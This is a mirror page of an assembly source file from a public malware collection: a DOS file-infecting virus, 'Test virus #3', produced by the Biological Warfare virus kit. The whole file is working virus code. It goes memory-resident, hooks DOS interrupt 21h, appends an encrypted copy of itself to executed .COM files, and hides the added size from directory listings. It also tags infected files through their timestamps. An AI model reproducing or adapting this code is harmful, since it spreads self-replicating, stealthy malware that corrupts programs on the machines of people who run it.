mirror of
https://github.com/vxunderground/MalwareSourceCode
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319 lines
9.8 KiB
NASM
319 lines
9.8 KiB
NASM
; test3.asm : Test virus #3
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; Created with Biological Warfare - Version 0.90á by MnemoniX
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PING equ 0FA10h
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PONG equ 0B8D4h
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STAMP equ 31
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code segment
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org 0
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assume cs:code,ds:code
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start:
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db 0E9h,3,0 ; to virus
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host:
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db 0CDh,20h,0 ; host program
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virus_begin:
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db 0BBh ; decryption module
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code_offset dw offset virus_code
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mov si,VIRUS_SIZE / 2 + 1
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db 0B8h
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cipher dw 0
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decrypt:
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xor cs:[bx],ax
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add bx,2
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dec si
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jnz decrypt
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virus_code:
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push ds es
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call $ + 3 ; BP is instruction ptr.
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pop bp
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sub bp,offset $ - 1
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mov ax,PING ; test for residency
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int 21h
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cmp dx,PONG
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je installed
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mov ax,es ; Get PSP
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dec ax
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mov ds,ax ; Get MCB
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sub word ptr ds:[3],((MEM_SIZE+1023) / 1024) * 64
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sub word ptr ds:[12h],((MEM_SIZE+1023) / 1024) * 64
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mov es,word ptr ds:[12h]
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push cs ; copy virus into memory
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pop ds
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xor di,di
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mov si,bp
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mov cx,(virus_end - start) / 2 + 1
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rep movsw
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xor ax,ax ; capture interrupts
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mov ds,ax
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mov si,21h * 4 ; get original int 21
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mov di,offset old_int_21
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movsw
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movsw
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mov word ptr ds:[si - 4],offset new_int_21
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mov ds:[si - 2],es ; and set new int 21
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installed:
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pop es ds ; restore segregs
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com_exit:
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lea si,[bp + host] ; restore host program
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mov di,100h
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push di
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movsw
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movsb
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call fix_regs ; fix up registers
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ret ; and leave
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fix_regs:
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xor ax,ax
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cwd
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xor bx,bx
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mov si,100h
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xor di,di
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xor bp,bp
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ret
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; interrupt 21 handler
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int_21:
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pushf
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call dword ptr cs:[old_int_21]
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ret
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new_int_21:
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cmp ax,PING ; residency test
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je ping_pong
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cmp ah,11h ; directory stealth
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je dir_stealth
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cmp ah,12h
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je dir_stealth
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cmp ah,4Eh ; directory stealth
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je dir_stealth_2
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cmp ah,4Fh
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je dir_stealth_2
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cmp ax,4B00h ; execute program
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jne int_21_exit
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jmp execute
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int_21_exit:
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db 0EAh ; never mind ...
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old_int_21 dd 0
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ping_pong:
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mov dx,PONG
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iret
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dir_stealth:
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call int_21 ; get dir entry
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test al,al
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js dir_stealth_done
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push ax bx es
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mov ah,2Fh
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int 21h
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cmp byte ptr es:[bx],-1 ; check for extended FCB
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jne no_ext_FCB
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add bx,7
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no_ext_FCB:
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mov ax,es:[bx + 17h] ; check for infection marker
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and al,31
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cmp al,STAMP
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jne dir_fixed
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sub word ptr es:[bx + 1Dh],VIRUS_SIZE + 3
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sbb word ptr es:[bx + 1Fh],0
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dir_fixed:
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pop es bx ax
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dir_stealth_done:
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iret
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dir_stealth_2:
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pushf
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call dword ptr cs:[old_int_21]
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jc dir_stealth_done_2
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check_infect2:
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push ax bx es
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mov ah,2Fh
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int 21h
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mov ax,es:[bx + 16h]
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and al,31 ; check timestamp
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cmp al,STAMP
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jne fixed_2
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sub es:[bx + 1Ah],VIRUS_SIZE + 3
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sbb word ptr es:[bx + 1Ch],0
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fixed_2:
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pop es bx ax
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clc ; clear carry
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dir_stealth_done_2:
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retf 2
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execute:
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push ax bx cx dx si di ds es
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xor ax,ax ; critical error handler
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mov es,ax ; routine - catch int 24
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mov es:[24h * 4],offset int_24
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mov es:[24h * 4 + 2],cs
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mov ax,4300h ; change attributes
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int 21h
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push cx dx ds
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xor cx,cx
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call set_attributes
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mov ax,3D02h ; open file
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int 21h
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jc cant_open
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xchg bx,ax
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push cs ; CS = DS
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pop ds
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mov ax,5700h ; save file date/time
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int 21h
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push cx dx
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mov ah,3Fh
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mov cx,28
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mov dx,offset read_buffer
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int 21h
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cmp word ptr read_buffer,'ZM' ; .EXE?
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je dont_infect ; .EXE, skip
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mov al,2 ; move to end of file
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call move_file_ptr
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cmp dx,65279 - (VIRUS_SIZE + 3)
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ja dont_infect ; too big, don't infect
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sub dx,VIRUS_SIZE + 3 ; check for previous infection
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cmp dx,word ptr read_buffer + 1
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je dont_infect
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add dx,VIRUS_SIZE + 3
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mov word ptr new_jump + 1,dx
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add dx,103h
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call encrypt_code ; encrypt virus
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mov dx,offset read_buffer ; save original program head
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int 21h
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mov ah,40h ; write virus to file
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mov cx,VIRUS_SIZE
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mov dx,offset encrypt_buffer
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int 21h
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xor al,al ; back to beginning of file
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call move_file_ptr
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mov dx,offset new_jump ; and write new jump
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int 21h
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fix_date_time:
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pop dx cx
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and cl,-32 ; add time stamp
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or cl,STAMP
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mov ax,5701h ; restore file date/time
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int 21h
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close:
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pop ds dx cx ; restore attributes
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call set_attributes
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mov ah,3Eh ; close file
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int 21h
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cant_open:
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pop es ds di si dx cx bx ax
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jmp int_21_exit ; leave
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set_attributes:
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mov ax,4301h
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int 21h
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ret
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dont_infect:
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pop cx dx ; can't infect, skip
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jmp close
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move_file_ptr:
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mov ah,42h ; move file pointer
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cwd
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xor cx,cx
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int 21h
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mov dx,ax ; set up registers
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mov ah,40h
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mov cx,3
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ret
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courtesy_of db '[BW]',0
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signature db 'Test virus #3',0
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encrypt_code:
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push ax cx
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push dx
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xor ah,ah ; get time for random number
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int 1Ah
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mov cipher,dx ; save encryption key
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pop cx
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add cx,virus_code - virus_begin
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mov code_offset,cx ; save code offset
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push cs ; ES = CS
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pop es
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mov si,offset virus_begin ; move decryption module
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mov di,offset encrypt_buffer
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mov cx,virus_code - virus_begin
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rep movsb
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mov cx,VIRUS_SIZE / 2 + 1
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encrypt:
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lodsw ; encrypt virus code
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xor ax,dx
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stosw
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loop encrypt
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pop cx ax
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ret
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int_24:
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mov al,3 ; int 24 handler
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iret
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new_jump db 0E9h,0,0
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virus_end:
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VIRUS_SIZE equ virus_end - virus_begin
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read_buffer db 28 dup (?) ; read buffer
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encrypt_buffer db VIRUS_SIZE dup (?) ; encryption buffer
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end_heap:
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MEM_SIZE equ end_heap - start
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code ends
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end start
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